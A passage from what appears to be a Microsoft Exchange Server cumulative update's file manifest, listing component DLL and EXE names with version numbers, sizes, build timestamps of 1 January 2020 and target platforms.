01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.isam.esebcli.dll| 15.2.464.10| 100,456| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.jobqueue.eventlog.dll| 15.2.464.10| 13,384| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.jobqueueservicelet.dll| 15.2.464.11| 271,440| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.killswitch.dll| 15.2.464.10| 22,600| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.killswitchconfiguration.dll| 15.2.464.10| 33,664| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.auditing.dll| 15.2.464.10| 18,296| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.certificatelog.dll| 15.2.464.10| 15,432| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.cmdletinfralog.dll| 15.2.464.10| 27,512| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.easlog.dll| 15.2.464.10| 30,592| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ecplog.dll| 15.2.464.10| 22,600| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.eventlog.dll| 15.2.464.10| 66,640| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ewslog.dll| 15.2.464.10| 29,560| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.loganalyzer.analyzers.griffinperfcounter.dll| 15.2.464.10| 20,048| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.groupescalationlog.dll| 15.2.464.10| 20,560| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.httpproxylog.dll| 15.2.464.10| 19,536| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.hxservicelog.dll| 15.2.464.10| 34,384| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.loganalyzer.analyzers.iislog.dll| 15.2.464.10| 104,016| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.lameventlog.dll| 15.2.464.10| 31,824| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.migrationlog.dll| 15.2.464.10| 15,952| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.2.464.10| 21,072| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oauthcafelog.dll| 15.2.464.10| 16,256| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.outlookservicelog.dll| 15.2.464.10| 49,232| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owaclientlog.dll| 15.2.464.10| 44,616| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owalog.dll| 15.2.464.10| 38,272| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.loganalyzer.analyzers.perflog.dll| 15.2.464.10| 10,375,032| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.pfassistantlog.dll| 15.2.464.10| 29,256| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.loganalyzer.analyzers.rca.dll| 15.2.464.10| 21,368| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.restlog.dll| 15.2.464.10| 24,440| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.analyzers.store.dll| 15.2.464.10| 15,432| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.analyzers.transportsynchealthlog.dll| 15.2.464.10| 22,088| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.core.dll| 15.2.464.10| 89,464| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.auditing.dll| 15.2.464.10| 20,856| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.certificatelog.dll| 15.2.464.10| 26,488| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.cmdletinfralog.dll| 15.2.464.10| 21,376| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.common.dll| 15.2.464.10| 28,240| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.easlog.dll| 15.2.464.10| 28,536| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.loganalyzer.extensions.errordetection.dll| 15.2.464.10| 36,216| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.ewslog.dll| 15.2.464.10| 16,768| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.loganalyzer.extensions.griffinperfcounter.dll| 15.2.464.10| 19,832| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.groupescalationlog.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.httpproxylog.dll| 15.2.464.10| 17,280| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.hxservicelog.dll| 15.2.464.10| 19,832| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.loganalyzer.extensions.iislog.dll| 15.2.464.10| 57,208| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.migrationlog.dll| 15.2.464.10| 17,784| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.2.464.10| 18,808| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.oauthcafelog.dll| 15.2.464.10| 16,464| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.loganalyzer.extensions.outlookservicelog.dll| 15.2.464.10| 17,784| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.owaclientlog.dll| 15.2.464.10| 15,232| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.owalog.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loganalyzer.extensions.perflog.dll| 15.2.464.10| 52,816| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.pfassistantlog.dll| 15.2.464.10| 18,296| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.rca.dll| 15.2.464.10| 34,384| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.restlog.dll| 15.2.464.10| 17,280| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.store.dll| 15.2.464.10| 18,808| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.loganalyzer.extensions.transportsynchealthlog.dll| 15.2.464.10| 43,392| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.loguploader.dll| 15.2.464.10| 165,248| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.loguploaderproxy.dll| 15.2.464.10| 54,864| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.mailboxassistants.assistants.dll| 15.2.464.11| 9,055,816| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.mailboxassistants.attachmentthumbnail.dll| 15.2.464.10| 33,152| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.mailboxassistants.common.dll| 15.2.464.10| 124,288| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.mailboxassistants.crimsonevents.dll| 15.2.464.10| 82,808| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.mailboxassistants.eventlog.dll| 15.2.464.10| 14,208| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.mailboxassistants.rightsmanagement.dll| 15.2.464.10| 30,080| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxloadbalance.dll| 15.2.464.11| 661,600| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.2.464.10| 63,352| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.calendarsyncprovider.dll| 15.2.464.10| 175,488| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.2.464.10| 2,791,800| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.mailboxreplicationservice.complianceprovider.dll| 15.2.464.11| 53,120| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.contactsyncprovider.dll| 15.2.464.10| 151,936| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.2.464.11| 966,520| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.2.464.10| 185,448| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 15.2.464.10| 31,848| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.mailboxreplicationservice.googledocprovider.dll| 15.2.464.10| 40,008| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.2.464.10| 106,056| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.2.464.10| 95,096| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.2.464.10| 43,624| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.2.464.10| 19,024| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.2.464.11| 172,928| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.2.464.11| 102,776| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.2.464.10| 98,888| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.2.464.10| 188,800| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.syncprovider.dll| 15.2.464.10| 43,384| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxreplicationservice.xml.dll| 15.2.464.10| 447,360| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.mailboxreplicationservice.xrmprovider.dll| 15.2.464.10| 90,192| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.mailboxtransport.monitoring.dll| 15.2.464.11| 107,896| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxtransport.storedriveragents.dll| 15.2.464.10| 374,648| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.2.464.10| 193,920| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.2.464.10| 552,312| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.eventlog.dll| 15.2.464.10| 16,248| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.mailboxtransport.submission.eventlog.dll| 15.2.464.10| 15,744| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.2.464.10| 321,400| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.eventlog.dll| 15.2.464.10| 18,000| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.mailboxtransport.syncdelivery.dll| 15.2.464.10| 45,432| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.dll| 15.2.464.10| 18,512| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.eventlog.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.managedlexruntime.mppgruntime.dll| 15.2.464.10| 21,096| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.activedirectory.dll| 15.2.464.10| 415,096| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.classificationdefinitions.dll| 15.2.464.10| 1,269,840| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.compliancepolicy.dll| 15.2.464.10| 39,296| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.management.controlpanel.basics.dll| 15.2.464.10| 433,232| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.management.controlpanel.dll| 15.2.464.11| 4,563,328| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.2.464.10| 260,992| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 15.2.464.10| 33,664| 01-Jan-2020| 10:48| x64 \nMicrosoft.exchange.management.deployment.analysis.dll| 15.2.464.10| 94,312| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.deployment.dll| 15.2.464.10| 586,104| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.management.deployment.xml.dll| 15.2.464.10| 3,537,512| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.management.detailstemplates.dll| 15.2.464.11| 68,176| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.management.dll| 15.2.464.11| 16,483,704| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.2.464.11| 58,752| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.management.infrastructure.asynchronoustask.dll| 15.2.464.11| 23,936| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.jitprovisioning.dll| 15.2.464.10| 101,752| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.migration.dll| 15.2.464.11| 543,616| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.management.mobility.dll| 15.2.464.11| 305,248| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.nativeresources.dll| 15.2.464.10| 273,784| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.management.powershell.support.dll| 15.2.464.11| 418,896| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.management.provisioning.dll| 15.2.464.11| 275,840| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.2.464.11| 70,520| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.management.rbacdefinition.dll| 15.2.464.10| 7,873,096| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.management.recipient.dll| 15.2.464.11| 1,501,560| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.management.snapin.esm.dll| 15.2.464.11| 71,552| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.management.systemmanager.dll| 15.2.464.11| 1,238,904| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.management.transport.dll| 15.2.464.11| 1,877,064| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.managementgui.dll| 15.2.464.10| 5,366,864| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.managementmsg.dll| 15.2.464.10| 36,216| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.mapihttpclient.dll| 15.2.464.10| 117,624| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.mapihttphandler.dll| 15.2.464.11| 207,736| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.messagesecurity.dll| 15.2.464.10| 79,736| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 15.2.464.10| 17,488| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.messagingpolicies.dlppolicyagent.dll| 15.2.464.10| 156,264| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.2.464.10| 65,920| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 15.2.464.10| 30,584| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.messagingpolicies.filtering.dll| 15.2.464.10| 58,232| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.2.464.10| 29,568| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.2.464.10| 175,696| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.2.464.10| 28,544| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.messagingpolicies.retentionpolicyagent.dll| 15.2.464.10| 75,128| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.2.464.10| 207,224| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.2.464.10| 440,192| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.messagingpolicies.supervisoryreviewagent.dll| 15.2.464.10| 83,320| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.2.464.10| 35,200| 01-Jan-2020| 10:52| x86 \nMicrosoft.exchange.messagingpolicies.unifiedpolicycommon.dll| 15.2.464.10| 53,120| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.2.464.10| 96,640| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.migration.dll| 15.2.464.10| 1,109,880| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.migrationworkflowservice.eventlog.dll| 15.2.464.10| 14,712| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.mobiledriver.dll| 15.2.464.10| 135,544| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.2.464.11| 5,065,592| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.2.464.10| 19,832| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.mrsmlbconfiguration.dll| 15.2.464.10| 68,472| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.net.dll| 15.2.464.10| 5,086,072| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.net.rightsmanagement.dll| 15.2.464.10| 265,592| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.networksettings.dll| 15.2.464.10| 37,968| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.notifications.broker.eventlog.dll| 15.2.464.10| 14,208| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.notifications.broker.exe| 15.2.464.11| 549,752| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.oabauthmodule.dll| 15.2.464.10| 22,912| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.oabrequesthandler.dll| 15.2.464.10| 106,368| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.oauth.core.dll| 15.2.464.10| 291,712| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.objectstoreclient.dll| 15.2.464.10| 17,272| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.odata.configuration.dll| 15.2.464.10| 277,888| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.odata.dll| 15.2.464.11| 2,993,744| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.officegraph.common.dll| 15.2.464.10| 90,696| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.officegraph.grain.dll| 15.2.464.10| 101,752| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.officegraph.graincow.dll| 15.2.464.10| 38,272| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.officegraph.graineventbasedassistants.dll| 15.2.464.10| 45,432| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.officegraph.grainpropagationengine.dll| 15.2.464.10| 58,448| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.officegraph.graintransactionstorage.dll| 15.2.464.10| 147,328| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.officegraph.graintransportdeliveryagent.dll| 15.2.464.10| 26,488| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.officegraph.graphstore.dll| 15.2.464.10| 184,400| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.officegraph.permailboxkeys.dll| 15.2.464.10| 26,696| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.officegraph.secondarycopyquotamanagement.dll| 15.2.464.10| 38,272| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.officegraph.secondaryshallowcopylocation.dll| 15.2.464.10| 55,888| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.officegraph.security.dll| 15.2.464.10| 147,320| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.officegraph.semanticgraph.dll| 15.2.464.10| 191,872| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.officegraph.tasklogger.dll| 15.2.464.10| 33,664| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.partitioncache.dll| 15.2.464.10| 28,024| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.passivemonitoringsettings.dll| 15.2.464.10| 32,840| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 15.2.464.10| 17,488| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.pop3.eventlog.dll.fe| 15.2.464.10| 17,488| 01-Jan-2020| 10:49| Not applicable \nMicrosoft.exchange.pop3.exe| 15.2.464.10| 106,880| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.pop3.exe.fe| 15.2.464.10| 106,880| 01-Jan-2020| 10:49| Not applicable \nMicrosoft.exchange.pop3service.exe| 15.2.464.10| 25,168| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.pop3service.exe.fe| 15.2.464.10| 25,168| 01-Jan-2020| 10:50| Not applicable \nMicrosoft.exchange.popconfiguration.dl1| 15.2.464.10| 43,080| 01-Jan-2020| 10:50| Not applicable \nMicrosoft.exchange.popimap.core.dll| 15.2.464.10| 264,776| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.popimap.core.dll.fe| 15.2.464.10| 264,776| 01-Jan-2020| 10:49| Not applicable \nMicrosoft.exchange.powersharp.dll| 15.2.464.10| 358,272| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.powersharp.management.dll| 15.2.464.11| 4,165,216| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.powershell.configuration.dll| 15.2.464.11| 308,600| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.2.464.11| 41,552| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.protectedservicehost.exe| 15.2.464.10| 30,584| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.2.464.10| 137,088| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.protocols.mapi.dll| 15.2.464.10| 441,720| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.provisioning.eventlog.dll| 15.2.464.10| 14,408| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.provisioningagent.dll| 15.2.464.11| 224,632| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.provisioningservicelet.dll| 15.2.464.11| 105,848| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.pst.dll| 15.2.464.11| 169,040| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.pst.dll.deploy| 15.2.464.11| 169,040| 01-Jan-2020| 10:48| Not applicable \nMicrosoft.exchange.pswsclient.dll| 15.2.464.10| 259,448| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.publicfolders.dll| 15.2.464.10| 72,264| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.pushnotifications.crimsonevents.dll| 15.2.464.10| 215,928| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.pushnotifications.dll| 15.2.464.10| 106,880| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.2.464.10| 425,856| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.pushnotifications.server.dll| 15.2.464.10| 70,520| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.query.analysis.dll| 15.2.464.10| 46,464| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.query.configuration.dll| 15.2.464.10| 216,136| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.query.core.dll| 15.2.464.10| 168,320| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.query.ranking.dll| 15.2.464.10| 343,424| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.query.retrieval.dll| 15.2.464.10| 174,464| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.query.suggestions.dll| 15.2.464.10| 95,104| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.realtimeanalyticspublisherservicelet.dll| 15.2.464.10| 127,360| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.relevance.core.dll| 15.2.464.10| 63,560| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.relevance.data.dll| 15.2.464.10| 36,968| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.relevance.mailtagger.dll| 15.2.464.10| 17,792| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.relevance.people.dll| 15.2.464.10| 9,667,144| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.relevance.peopleindex.dll| 15.2.464.10| 20,788,096| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.relevance.peopleranker.dll| 15.2.464.10| 36,728| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.relevance.perm.dll| 15.2.464.10| 97,872| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.relevance.sassuggest.dll| 15.2.464.10| 28,536| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.relevance.upm.dll| 15.2.464.10| 72,272| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.routing.client.dll| 15.2.464.10| 15,744| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.routing.eventlog.dll| 15.2.464.10| 13,184| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.routing.server.exe| 15.2.464.10| 59,256| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.rpc.dll| 15.2.464.10| 1,647,184| 01-Jan-2020| 10:47| x64 \nMicrosoft.exchange.rpcclientaccess.dll| 15.2.464.10| 207,232| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.2.464.10| 60,288| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.2.464.10| 518,016| 01-Jan-2020| 10:50| x86 \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.2.464.10| 161,360| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.2.464.10| 724,344| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.2.464.10| 234,872| 01-Jan-2020| 10:49| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 15.2.464.10| 20,856| 01-Jan-2020| 10:50| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.2.464.11| 35,200| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.rpchttpmodules.dll| 15.2.464.10| 42,576| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.2.464.11| 56,192| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 15.2.464.10| 27,512| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.rules.common.dll| 15.2.464.10| 130,424| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 15.2.464.10| 14,712| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.2.464.10| 20,344| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.safehtml.dll| 15.2.464.10| 21,376| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.sandbox.activities.dll| 15.2.464.10| 267,848| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.sandbox.contacts.dll| 15.2.464.10| 110,968| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.sandbox.core.dll| 15.2.464.10| 112,720| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.sandbox.services.dll| 15.2.464.10| 622,664| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.bigfunnel.dll| 15.2.464.10| 185,216| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.bigfunnel.eventlog.dll| 15.2.464.10| 12,368| 01-Jan-2020| 10:51| x64 \nMicrosoft.exchange.search.blingwrapper.dll| 15.2.464.10| 19,320| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.core.dll| 15.2.464.10| 211,840| 01-Jan-2020| 10:48| x86 \nMicrosoft.exchange.search.ediscoveryquery.dll| 15.2.464.10| 17,792| 01-Jan-2020| 10:51| x86 \nMicrosoft.exchange.search.engine.dll| 15.2.464.10| 97,872| 01-Jan-2020| 